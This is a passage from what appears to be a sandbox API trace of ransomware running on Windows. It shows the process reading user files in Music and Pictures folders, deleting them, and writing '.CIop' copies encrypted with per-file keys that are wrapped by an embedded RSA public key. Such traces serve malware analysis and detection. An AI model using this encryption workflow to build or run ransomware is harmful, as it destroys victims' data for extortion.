/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.992] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.992] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.992] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x6547a0) returned 1 [0096.993] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6547a0, dwCertEncodingType=0x1, pInfo=0x5c1100, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x6494b8) returned 1 [0096.993] CryptEncrypt (in: hKey=0x6494b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.993] CryptEncrypt (in: hKey=0x6494b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654e00*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654e00*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.993] WriteFile (in: hFile=0x380, lpBuffer=0x654e00*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x654e00*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.993] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.994] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.994] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.994] CloseHandle (hObject=0x380) returned 1 [0096.995] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav")) returned 0 Thread: id = 127 os_tid = 0xcf4 [0096.997] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.997] lstrcpyW (in: lpString1=0x312f368, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0096.997] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0096.997] SetErrorMode (uMode=0x1) returned 0x1 [0096.997] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav") returned 74 [0096.997] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav", dwFileAttributes=0x20) returned 0 [0096.997] StrStrW (lpFirst="zdZ3oJ-bfmJu.wav", lpSrch=".CIop") returned 0x0 [0096.997] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav.CIop") returned 79 [0096.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\my documents\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 128 os_tid = 0xc8c [0097.029] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.029] lstrcpyW (in: lpString1=0x2fef368, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0097.029] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0097.029] SetErrorMode (uMode=0x1) returned 0x1 [0097.029] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav") returned 69 [0097.029] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav", dwFileAttributes=0x20) returned 0 [0097.029] StrStrW (lpFirst="zdZ3oJ-bfmJu.wav", lpSrch=".CIop") returned 0x0 [0097.029] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav.CIop") returned 74 [0097.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\nethood\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 129 os_tid = 0xc98 [0097.060] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.060] lstrcpyW (in: lpString1=0x2fef368, lpString2="MgyGAvvq5w6fl7AR1Hfa.bmp" | out: lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp") returned="MgyGAvvq5w6fl7AR1Hfa.bmp" [0097.060] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.060] SetErrorMode (uMode=0x1) returned 0x1 [0097.060] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp") returned 59 [0097.060] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp", dwFileAttributes=0x20) returned 1 [0097.061] StrStrW (lpFirst="MgyGAvvq5w6fl7AR1Hfa.bmp", lpSrch=".CIop") returned 0x0 [0097.061] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp.CIop") returned 64 [0097.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\mgygavvq5w6fl7ar1hfa.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0097.062] ReadFile (in: hFile=0x4f8, lpBuffer=0x656668, nNumberOfBytesToRead=0x11eb4, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x2fee5e8*=0x11eb4, lpOverlapped=0x0) returned 1 [0097.062] CloseHandle (hObject=0x4f8) returned 1 [0097.062] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\mgygavvq5w6fl7ar1hfa.bmp")) returned 1 [0097.064] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0097.064] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0097.064] SetErrorMode (uMode=0x1) returned 0x1 [0097.064] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654e88) returned 1 [0097.066] CryptGenKey (in: hProv=0x654e88, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x649278) returned 1 [0097.110] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.110] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.110] CryptDestroyKey (hKey=0x649278) returned 1 [0097.110] CryptReleaseContext (hProv=0x654e88, dwFlags=0x0) returned 1 [0097.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\mgygavvq5w6fl7ar1hfa.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0097.110] WriteFile (in: hFile=0x4f8, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x11eb4, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x2fee5d8*=0x11eb4, lpOverlapped=0x0) returned 1 [0097.112] SetFilePointer (in: hFile=0x4f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11eb4 [0097.112] WriteFile (in: hFile=0x4f8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.112] SetFilePointer (in: hFile=0x4f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11ebb [0097.112] SetErrorMode (uMode=0x1) returned 0x1 [0097.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.112] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.112] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0097.112] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x655240) returned 1 [0097.112] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655240, dwCertEncodingType=0x1, pInfo=0x5c23b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x649038) returned 1 [0097.112] CryptEncrypt (in: hKey=0x649038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0097.112] CryptEncrypt (in: hKey=0x649038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6552c8*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6552c8*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0097.112] WriteFile (in: hFile=0x4f8, lpBuffer=0x6552c8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x6552c8*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.113] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.113] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.114] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.114] CloseHandle (hObject=0x4f8) returned 1 [0097.115] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\MgyGAvvq5w6fl7AR1Hfa.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\mgygavvq5w6fl7ar1hfa.bmp")) returned 0 Thread: id = 130 os_tid = 0xca0 [0097.138] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.138] lstrcpyW (in: lpString1=0x2fef368, lpString2="qp-3yc7D3FrGiW.jpg" | out: lpString1="qp-3yc7D3FrGiW.jpg") returned="qp-3yc7D3FrGiW.jpg" [0097.138] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.138] SetErrorMode (uMode=0x1) returned 0x1 [0097.138] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg") returned 53 [0097.138] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg", dwFileAttributes=0x20) returned 1 [0097.139] StrStrW (lpFirst="qp-3yc7D3FrGiW.jpg", lpSrch=".CIop") returned 0x0 [0097.139] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg.CIop") returned 58 [0097.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\qp-3yc7d3frgiw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0097.140] ReadFile (in: hFile=0x510, lpBuffer=0x656668, nNumberOfBytesToRead=0xd70b, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x2fee5e8*=0xd70b, lpOverlapped=0x0) returned 1 [0097.140] CloseHandle (hObject=0x510) returned 1 [0097.140] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\qp-3yc7d3frgiw.jpg")) returned 1 [0097.142] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0097.142] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0097.142] SetErrorMode (uMode=0x1) returned 0x1 [0097.142] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x6553d8) returned 1 [0097.145] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x648e78) returned 1 [0097.166] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.166] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.166] CryptDestroyKey (hKey=0x648e78) returned 1 [0097.166] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0097.166] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\qp-3yc7D3FrGiW.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\qp-3yc7d3frgiw.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0097.167] WriteFile (in: hFile=0x510, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xd70b, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x2fee5d8*=0xd70b, lpOverlapped=0x0) returned 1 [0097.168] SetFilePointer (in: hFile=0x510, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd70b [0097.168] WriteFile (in: hFile=0x510, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.168] SetFilePointer (in: hFile=0x510, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd712 [0097.168] SetErrorMode (uMode=0x1) returned 0x1 [0097.168] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.168] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.168] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0097.168] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x655460) returned 1 [0097.169] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655460, 